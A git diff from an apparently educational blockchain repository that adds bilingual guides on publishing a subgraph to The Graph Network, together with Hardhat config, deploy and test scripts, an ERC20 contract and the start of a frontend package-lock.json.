+- 选择发布的网络  
+这里选择 "Arbitrum One"   
+![](./imgs/published_network.png)  
+
+- 对子图签名   
+这里勾选 "Be the first to signal on this subgraph" 
+同时输入 GRT 数量，[官方文档](https://thegraph.com/docs/en/publishing/publishing-a-subgraph/) 建议至少输入 3000 GRT 
+![signal on subgraph](./imgs/signal_on_subgraph.png)  
+
+- 确认发布  
+然后点击 "Allow GRT" & "Publish and Signal" 就可以完成最终发布  
+![](./imgs/publish_and_signal.png)  
+
+发布成功后，就可以在 "Graph Explorer" 中找到刚刚发布的子图    
+![](./imgs/subgraph_on_explorer.png)  
+
+
+3. 创建 API key  
+对于 Publish 成功的子图，后需要使用 API Key 进行查询，这里我们需要创建一个 API Key 用于后续的查询。在 "API Keys" 页面，点击 "Create API Key" 即可创建一个新的 API Key   
+![](./imgs/create_api_key.png)  
+
+3. 设置 Billing Plan    
+- Free Plan  
+光有 API Key 还不行，我们还需要充值 GRT, 因为对 Graph Network 的子图查询都是需要消耗 GRT 的。 
+默认情况下，我们使用的 Billing 是 "Free Plan", 有 100,000 的免费 query 额度，超出这个额度后，才需要使用 GRT 支付查询费用  
+![](./imgs/free_plan.png)  
+
+- 升级 Plan   
+点击页面的 "Upgrade Plan" 我们就可以根据自身每月的查询量定制 Plan  
+![](./imgs/upgrade_plan.png)   
+
+- 完成 Plan 升级  
+点击 "Allow GRT Access" 和 "Add GRT to Billing Balance" 即可完成 Plan 升级  
+![](./imgs/finish_billing_upgrade.png)  
+
+- 查询子图 
+首先找到我们在 Graph Explorer 上的子图，然后点击 "Qeury"，接着再点击 "Copy Query URL" 即得到查询使用的 URL。需要注意的是，得到 "Query URL" 后，需要使用自己的 API key 替换其中的 "api key" 部分   
+![](./imgs/query_graph_network.png)   
+![](./imgs/get_query_url.png)  
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/readme.md b/basic/08-hardhat-graph/graph-network-upgrade-process/readme.md
new file mode 100644
index 000000000..41235c919
--- /dev/null
+++ b/basic/08-hardhat-graph/graph-network-upgrade-process/readme.md
@@ -0,0 +1,61 @@
+[中文](./readme-CN.md) / English
+
+## Graph Network Introduction
+
+The Graph network is a decentralized indexing protocol for organizing blockchain data. Applications use GraphQL to query an open API called a subgraph to retrieve indexed data on the network. With Graph, developers can build serverless applications that run entirely on public infrastructure. This section describes how to upgrade Subgraph Studio to Graph Network.
+
+## Process Overview
+
+- Create a Subgraph Studio. See how to create a Subgraph Studio [Dapp Learning Subgraph](https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/08-hardhat-graph)
+- Publishes subgraphs to the Graph Network
+- Create an API key 
+- Set up Billing Plan 
+
+## Operating Steps
+
+1. Create a Subgraph Studio    
+Specific reference [Dapp Learning Subgraph](https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/08-hardhat-graph)    
+
+2. Publishes subgraphs to the Graph Network    
+- Publish  
+Locate the newly created subgraph in "My Dashboard" and click "Publish"   
+![DashBoard](./imgs/myDashBoard.png)   
+
+- Select the network to publish on    
+Here, choose "Arbitrum One"    
+![](./imgs/published_network.png)  
+
+- Sign the subgraph     
+Check "Be the first to signal on this subgraph" 
+Enter the number of GRTS ，[official documentation](https://thegraph.com/docs/en/publishing/publishing-a-subgraph/)  You are advised to enter at least 3000 GRT  
+![signal on subgraph](./imgs/signal_on_subgraph.png)
+
+- Confirm release   
+Then click "Allow GRT" & "Publish and Signal" to complete the final publication  
+![](./imgs/publish_and_signal.png)  
+
+Once published, you can find the subgraph you just published in the Graph Explorer    
+![](./imgs/subgraph_on_explorer.png)  
+
+
+3. Create an API key   
+For the subgraph that publishes successfully, the API Key needs to be used for query later. Here, we need to create an API Key for subsequent query. On the "API Keys" page, click "Create API Key" to create a new API Key   
+![](./imgs/create_api_key.png)  
+
+3. Set up Billing Plan    
+- Free Plan  
+API Key alone is not enough, we also need to recharge GRT, because the Graph Network subgraph queries need to consume GRT. By default, the Billing we use is "Free Plan", with 100,000 free queries, beyond which we need to use GRT to pay for queries   
+![](./imgs/free_plan.png)  
+
+- Upgrade Plan    
+By clicking "Upgrade Plan" on the page, we can customize the Plan according to our monthly query volume  
+![](./imgs/upgrade_plan.png)   
+
+- Completing the Plan upgrade   
+Click "Allow GRT Access" and "Add GRT to Billing Balance" to complete the Plan upgrade   
+![](./imgs/finish_billing_upgrade.png)  
+
+- Query subgraph  
+First find our subgraph on Graph Explorer, click "Qeury", then click "Copy Query URL" to get the URL used for the query. Note that once you get the "Query URL", you need to replace the "api key" section with your own api key     
+![](./imgs/query_graph_network.png)   
+![](./imgs/get_query_url.png)  
diff --git a/basic/08-hardhat-graph/graphql.md b/basic/08-hardhat-graph/graphql.md
new file mode 100644
index 000000000..31c71c134
--- /dev/null
+++ b/basic/08-hardhat-graph/graphql.md
@@ -0,0 +1,18 @@
+## Graph 介绍
+
+## graphql 语法
+
+GraphQL 的操作类型可以是 query、mutation 或 subscription，描述客户端希望进行什么样的操作
+
+query 查询：获取数据，比如查找，CRUD 中的 R
+mutation 变更：对数据进行变更，比如增加、删除、修改，CRUD 中的 CUD
+substription 订阅：当数据发生更改，进行消息推送
+
+
+
+## 参考链接
+- graphql官网： https://graphql.cn/learn/ 
+- graphql : https://chinese.freecodecamp.org/news/a-detailed-guide-to-graphql/
+- 官方api介绍：https://thegraph.com/docs/developer/querying-from-your-app 
+- API使用github：https://github.com/prisma-labs/graphql-request
+
diff --git a/basic/08-hardhat-graph/hardhat.config.js b/basic/08-hardhat-graph/hardhat.config.js
new file mode 100644
index 000000000..e35904957
--- /dev/null
+++ b/basic/08-hardhat-graph/hardhat.config.js
@@ -0,0 +1,45 @@
+require("@nomicfoundation/hardhat-toolbox");
+require('dotenv').config();
+
+
+const PRIVATE_KEY = process.env.PRIVATE_KEY;
+const defaultNetwork = 'localhost';
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+module.exports = {
+  defaultNetwork,
+  solidity: '0.8.0',
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [PRIVATE_KEY],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [PRIVATE_KEY],
+    },
+    ropsten: {
+      url: 'https://ropsten.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [PRIVATE_KEY],
+    },
+  },  
+  etherscan: {
+    apiKey: {
+      sepolia: process.env.APIKEY
+    } ,
+  },
+  sourcify: {
+    // Disabled by default
+    // Doesn't need an API key
+    enabled: true
+  }
+};
\ No newline at end of file
diff --git a/basic/08-hardhat-graph/package.json b/basic/08-hardhat-graph/package.json
new file mode 100644
index 000000000..8fb23cf49
--- /dev/null
+++ b/basic/08-hardhat-graph/package.json
@@ -0,0 +1,20 @@
+{
+  "name": "08-hardhat-graph",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.9.6",
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.22.2"
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0"
+  }
+}
diff --git a/basic/08-hardhat-graph/scripts/deploy.js b/basic/08-hardhat-graph/scripts/deploy.js
new file mode 100644
index 000000000..5b01ef7ee
--- /dev/null
+++ b/basic/08-hardhat-graph/scripts/deploy.js
@@ -0,0 +1,42 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  console.log('Account balance:', (await ethers.provider.getBalance(deployer.address)).toString());
+
+  const Token = await ethers.getContractFactory('SimpleToken');
+  const token = await Token.deploy('HHToken', 'HHT', 1, 100000000);
+  
+
+  console.log('Contract address:', token.target);
+
+  const receiver = '0x35D4A3Bd19382e5180824823E90312Be405c3707';
+  console.log('Transfer 50 to receiver ', receiver);
+  let transferReceipt = await token.transfer(receiver, 50);
+  await transferReceipt.wait();
+
+  // Check the balance of receiver
+  console.log('Account balance of receiver is: ', (await token.balanceOf(receiver)).toString());
+
+  // approve transfer to receiver
+  let approveRecipt = await token.approve(receiver, 1000);
+  await approveRecipt.wait();
+  console.log(`allowance of ${deployer.address} to ${receiver} is `, (await token.allowance(deployer.address, receiver)).toString());
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/Example08-hardhat-graph/scripts/mapping.ts b/basic/08-hardhat-graph/scripts/mapping.ts
similarity index 100%
rename from Example08-hardhat-graph/scripts/mapping.ts
rename to basic/08-hardhat-graph/scripts/mapping.ts
diff --git a/Example08-hardhat-graph/scripts/schema.graphql b/basic/08-hardhat-graph/scripts/schema.graphql
similarity index 100%
rename from Example08-hardhat-graph/scripts/schema.graphql
rename to basic/08-hardhat-graph/scripts/schema.graphql
diff --git a/basic/08-hardhat-graph/test/erc20-all-test.js b/basic/08-hardhat-graph/test/erc20-all-test.js
new file mode 100644
index 000000000..a3550b70a
--- /dev/null
+++ b/basic/08-hardhat-graph/test/erc20-all-test.js
@@ -0,0 +1,100 @@
+const { expect } = require("chai");
+
+// `describe` is a Mocha function that allows you to organize your tests. It's
+// not actually needed, but having your tests organized makes debugging them
+// easier. All Mocha functions are available in the global scope.
+
+// `describe` receives the name of a section of your test suite, and a callback.
+// The callback must define the tests of that section. This callback can't be
+// an async function.
+describe("Token contract", function () {
+  // Mocha has four functions that let you hook into the  test runner's
+  // lifecyle. These are: `before`, `beforeEach`, `after`, `afterEach`.
+
+  // They're very useful to setup the environment for tests, and to clean it
+  // up after they run.
+
+  // A common pattern is to declare some variables, and assign them in the
+  // `before` and `beforeEach` callbacks.
+
+  let Token;
+  let hardhatToken;
+  let owner;
+  let addr1;
+  let addr2;
+  let addrs;
+
+  // `beforeEach` will run before each test, re-deploying the contract every
+  // time. It receives a callback, which can be async.
+  beforeEach(async function () {
+    // Get the ContractFactory and Signers here.
+    Token = await ethers.getContractFactory("SimpleToken");
+    [owner, addr1, addr2, ...addrs] = await ethers.getSigners();
+
+    // To deploy our contract, we just have to call Token.deploy() and await
+    // for it to be deployed(), which happens onces its transaction has been
+    // mined.
+    hardhatToken = await Token.deploy("HEHE", "HH", 1, 100000000);
+  });
+
+  // You can nest describe calls to create subsections.
+  describe("Deployment", function () {
+    // `it` is another Mocha function. This is the one you use to define your
+    // tests. It receives the test name, and a callback function.
+
+    it("Should assign the total supply of tokens to the owner", async function () {
+      const ownerBalance = await hardhatToken.balanceOf(owner.address);
+      expect(await hardhatToken.totalSupply()).to.equal(ownerBalance);
+    });
+  });
+
+  describe("Transactions", function () {
+    it("Should transfer tokens between accounts", async function () {
+      // Transfer 50 tokens from owner to addr1
+      await hardhatToken.transfer(addr1.address, 50);
+      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
+      expect(addr1Balance).to.equal(50);
+
+      // Transfer 50 tokens from addr1 to addr2
+      // We use .connect(signer) to send a transaction from another account
+      await hardhatToken.connect(addr1).transfer(addr2.address, 50);
+      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
+      expect(addr2Balance).to.equal(50);
+    });
+
+    it("Should fail if sender doesn’t have enough tokens", async function () {
+      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
+
+      // Try to send 1 token from addr1 (0 tokens) to owner (1000 tokens).
+      // `require` will evaluate false and revert the transaction.
+      await expect(
+          hardhatToken.connect(addr1).transfer(owner.address, 1)
+      ).to.be.revertedWith("revert SafeMath: subtraction overflow");
+
+      // Owner balance shouldn't have changed.
+      expect(await hardhatToken.balanceOf(owner.address)).to.equal(
+          initialOwnerBalance
+      );
+    });
+
+    it("Should update balances after transfers", async function () {
+      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
+
+      // Transfer 100 tokens from owner to addr1.
+      await hardhatToken.transfer(addr1.address, 100);
+
+      // Transfer another 50 tokens from owner to addr2.
+      await hardhatToken.transfer(addr2.address, 50);
+
+      // Check balances.
+      const finalOwnerBalance = await hardhatToken.balanceOf(owner.address);
+      expect(finalOwnerBalance).to.equal(initialOwnerBalance - 150);
+
+      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
+      expect(addr1Balance).to.equal(100);
+
+      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
+      expect(addr2Balance).to.equal(50);
+    });
+  });
+});
\ No newline at end of file
diff --git a/basic/09-hardhat-react/.env.example b/basic/09-hardhat-react/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/09-hardhat-react/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/Example09-hardhat-react/LICENSE b/basic/09-hardhat-react/LICENSE
similarity index 100%
rename from Example09-hardhat-react/LICENSE
rename to basic/09-hardhat-react/LICENSE
diff --git a/basic/09-hardhat-react/README-CN.md b/basic/09-hardhat-react/README-CN.md
new file mode 100644
index 000000000..d816ddd09
--- /dev/null
+++ b/basic/09-hardhat-react/README-CN.md
@@ -0,0 +1,40 @@
+中文 / [English](./README.md)
+
+# hardhat-react
+
+## 前言
+
+Dapp 开发中很重要的部分便是前端展示，本样例代码使用 hardhat 结合 react 和 MetaMask，演示如何开发 Dapp 前端页面，以及开发的基本流程及接口调用。开发者需要具备 react 框架开发能力才能很好的理解样例代码.
+
+为方便获取，在 .env 中放入的私钥，格式为 "PRIVATE_KEY=xxxx", 然后代码自动从中读取
+
+## 操作步骤
+
+1. 安装依赖
+
+   ```sh
+   npm install
+   ```
+
+2. 部署合约
+
+   ```sh
+   npx hardhat run scripts/deploy.js --network sepolia
+   ```
+
+3. 启动 react
+
+   ```sh
+   cd frontend
+   npm install
+   npm start
+   ```
+
+4. 尝试在前端页面进行 ERC20 token 转账，观察账户 token 余额变化
+
+## 参考文档
+
+- <https://github.com/Fankouzu/smart-contract/tree/master/Solidity%20Lesson%2005>
+- <https://create-react-app.dev/docs/getting-started/>
+- <https://github.com/nomiclabs/hardhat-hackathon-boilerplate>
+- <https://www.nextjs.cn>
diff --git a/basic/09-hardhat-react/README.md b/basic/09-hardhat-react/README.md
new file mode 100644
index 000000000..ba70a094f
--- /dev/null
+++ b/basic/09-hardhat-react/README.md
@@ -0,0 +1,40 @@
+[中文](./README-CN.md) / English
+
+# hardhat-react
+
+## Preface
+
+The important part of developing Dapp is the front end. The sample will use hardhat combined with react and MetaMask to show how to develop Dapp front end page, the process of developing and the calling of interface. Developers will get the point of the sample code when they have ability to use react.
+
+Put your private key in .env for easy access, formatted with "PRIVATE_KEY=xxxx".
+
+## Steps
+
+1. Install dependencies
+
+   ```sh
+   npm install
+   ```
+
+2. Deploy contracts
+
+   ```sh
+   npx hardhat run scripts/deploy.js --network sepolia
+   ```
+
+3. Startup react
+
+   ```sh
+   cd frontend
+   npm install
+   npm start
+   ```
+
+4. Try to init a ERC20 transaction in the page and watch the change of account tokens balance.
+
+## Reference
+
+- <https://github.com/Fankouzu/smart-contract/tree/master/Solidity%20Lesson%2005>
+- <https://create-react-app.dev/docs/getting-started/>
+- <https://github.com/nomiclabs/hardhat-hackathon-boilerplate>
+- <https://www.nextjs.cn>
diff --git a/basic/09-hardhat-react/contracts/SimpleToken.sol b/basic/09-hardhat-react/contracts/SimpleToken.sol
new file mode 100644
index 000000000..1d42467ce
--- /dev/null
+++ b/basic/09-hardhat-react/contracts/SimpleToken.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";
+
+contract SimpleToken is ERC20PresetMinterPauser {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+
+    uint8 private _decimals;
+    uint256 public INITIAL_SUPPLY;
+
+    function decimals() public view override returns (uint8) {
+        return _decimals;
+    }
+
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals_,
+        uint256 initial_supply
+    ) ERC20PresetMinterPauser(name, symbol) {
+        _decimals = decimals_;
+        INITIAL_SUPPLY = initial_supply * (10**uint256(decimals_));
+        _mint(msg.sender, initial_supply * (10**uint256(decimals_)));
+    }
+}
diff --git a/Example09-hardhat-react/frontend/.gitignore b/basic/09-hardhat-react/frontend/.gitignore
similarity index 100%
rename from Example09-hardhat-react/frontend/.gitignore
rename to basic/09-hardhat-react/frontend/.gitignore
diff --git a/Example09-hardhat-react/frontend/README.md b/basic/09-hardhat-react/frontend/README.md
similarity index 100%
rename from Example09-hardhat-react/frontend/README.md
rename to basic/09-hardhat-react/frontend/README.md
diff --git a/basic/09-hardhat-react/frontend/package-lock.json b/basic/09-hardhat-react/frontend/package-lock.json
new file mode 100644
index 000000000..d002a4864
--- /dev/null
+++ b/basic/09-hardhat-react/frontend/package-lock.json
@@ -0,0 +1,32100 @@
+{
+  "name": "frontend",
+  "version": "0.1.0",
+  "lockfileVersion": 2,
+  "requires": true,
+  "packages": {
+    "": {
+      "name": "frontend",
+      "version": "0.1.0",
+      "dependencies": {
+        "@testing-library/jest-dom": "^4.2.4",
+        "@testing-library/react": "^9.5.0",
+        "@testing-library/user-event": "^7.2.1",
+        "bootstrap": "^4.4.1",
+        "react": "^16.13.1",
+        "react-dom": "^16.13.1",
+        "react-scripts": "5.0.1"
+      }
+    },
+    "node_modules/@ampproject/remapping": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz",
+      "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==",
+      "dependencies": {
+        "@jridgewell/gen-mapping": "^0.1.0",
+        "@jridgewell/trace-mapping": "^0.3.9"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@babel/code-frame": {
+      "version": "7.26.2",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.26.2.tgz",
+      "integrity": "sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-validator-identifier": "^7.25.9",
+        "js-tokens": "^4.0.0",
+        "picocolors": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/compat-data": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.19.3.tgz",
+      "integrity": "sha512-prBHMK4JYYK+wDjJF1q99KK4JLL+egWS4nmNqdlMUgCExMZ+iZW0hGhyC3VEbsPjvaN0TBhW//VIFwBrk8sEiw==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/core": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.19.3.tgz",
+      "integrity": "sha512-WneDJxdsjEvyKtXKsaBGbDeiyOjR5vYq4HcShxnIbG0qixpoHjI3MqeZM9NDvsojNCEBItQE4juOo/bU6e72gQ==",
+      "dependencies": {
+        "@ampproject/remapping": "^2.1.0",
+        "@babel/code-frame": "^7.18.6",
+        "@babel/generator": "^7.19.3",
+        "@babel/helper-compilation-targets": "^7.19.3",
+        "@babel/helper-module-transforms": "^7.19.0",
+        "@babel/helpers": "^7.19.0",
+        "@babel/parser": "^7.19.3",
+        "@babel/template": "^7.18.10",
+        "@babel/traverse": "^7.19.3",
+        "@babel/types": "^7.19.3",
+        "convert-source-map": "^1.7.0",
+        "debug": "^4.1.0",
+        "gensync": "^1.0.0-beta.2",
+        "json5": "^2.2.1",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/babel"
+      }
+    },
+    "node_modules/@babel/core/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/eslint-parser": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.19.1.tgz",
+      "integrity": "sha512-AqNf2QWt1rtu2/1rLswy6CDP7H9Oh3mMhk177Y67Rg8d7RD9WfOLLv8CGn6tisFvS2htm86yIe1yLF6I1UDaGQ==",
+      "dependencies": {
+        "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1",
+        "eslint-visitor-keys": "^2.1.0",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || >=14.0.0"
+      },
+      "peerDependencies": {
+        "@babel/core": ">=7.11.0",
+        "eslint": "^7.5.0 || ^8.0.0"
+      }
+    },
+    "node_modules/@babel/eslint-parser/node_modules/eslint-visitor-keys": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
+      "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/@babel/eslint-parser/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/generator": {
+      "version": "7.23.0",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.23.0.tgz",
+      "integrity": "sha512-lN85QRR+5IbYrMWM6Y4pE/noaQtg4pNiqeNGX60eqOfo6gtEj6uw/JagelB8vVztSd7R6M5n1+PQkDbHbBRU4g==",
+      "dependencies": {
+        "@babel/types": "^7.23.0",
+        "@jridgewell/gen-mapping": "^0.3.2",
+        "@jridgewell/trace-mapping": "^0.3.17",
+        "jsesc": "^2.5.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/generator/node_modules/@jridgewell/gen-mapping": {
+      "version": "0.3.2",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz",
+      "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==",
+      "dependencies": {
+        "@jridgewell/set-array": "^1.0.1",
+        "@jridgewell/sourcemap-codec": "^1.4.10",
+        "@jridgewell/trace-mapping": "^0.3.9"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@babel/helper-annotate-as-pure": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz",
+      "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==",
+      "dependencies": {
+        "@babel/types": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.18.9.tgz",
+      "integrity": "sha512-yFQ0YCHoIqarl8BCRwBL8ulYUaZpz3bNsA7oFepAzee+8/+ImtADXNOmO5vJvsPff3qi+hvpkY/NYBTrBQgdNw==",
+      "dependencies": {
+        "@babel/helper-explode-assignable-expression": "^7.18.6",
+        "@babel/types": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-compilation-targets": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.19.3.tgz",
+      "integrity": "sha512-65ESqLGyGmLvgR0mst5AdW1FkNlj9rQsCKduzEoEPhBCDFGXvz2jW6bXFG6i0/MrV2s7hhXjjb2yAzcPuQlLwg==",
+      "dependencies": {
+        "@babel/compat-data": "^7.19.3",
+        "@babel/helper-validator-option": "^7.18.6",
+        "browserslist": "^4.21.3",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-compilation-targets/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/helper-create-class-features-plugin": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.19.0.tgz",
+      "integrity": "sha512-NRz8DwF4jT3UfrmUoZjd0Uph9HQnP30t7Ash+weACcyNkiYTywpIjDBgReJMKgr+n86sn2nPVVmJ28Dm053Kqw==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-function-name": "^7.19.0",
+        "@babel/helper-member-expression-to-functions": "^7.18.9",
+        "@babel/helper-optimise-call-expression": "^7.18.6",
+        "@babel/helper-replace-supers": "^7.18.9",
+        "@babel/helper-split-export-declaration": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-create-regexp-features-plugin": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.19.0.tgz",
+      "integrity": "sha512-htnV+mHX32DF81amCDrwIDr8nrp1PTm+3wfBN9/v8QJOLEioOCOG7qNyq0nHeFiWbT3Eb7gsPwEmV64UCQ1jzw==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "regexpu-core": "^5.1.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-define-polyfill-provider": {
+      "version": "0.3.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.3.tgz",
+      "integrity": "sha512-z5aQKU4IzbqCC1XH0nAqfsFLMVSo22SBKUc0BxGrLkolTdPTructy0ToNnlO2zA4j9Q/7pjMZf0DSY+DSTYzww==",
+      "dependencies": {
+        "@babel/helper-compilation-targets": "^7.17.7",
+        "@babel/helper-plugin-utils": "^7.16.7",
+        "debug": "^4.1.1",
+        "lodash.debounce": "^4.0.8",
+        "resolve": "^1.14.2",
+        "semver": "^6.1.2"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.4.0-0"
+      }
+    },
+    "node_modules/@babel/helper-define-polyfill-provider/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/helper-environment-visitor": {
+      "version": "7.22.20",
+      "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz",
+      "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-explode-assignable-expression": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.18.6.tgz",
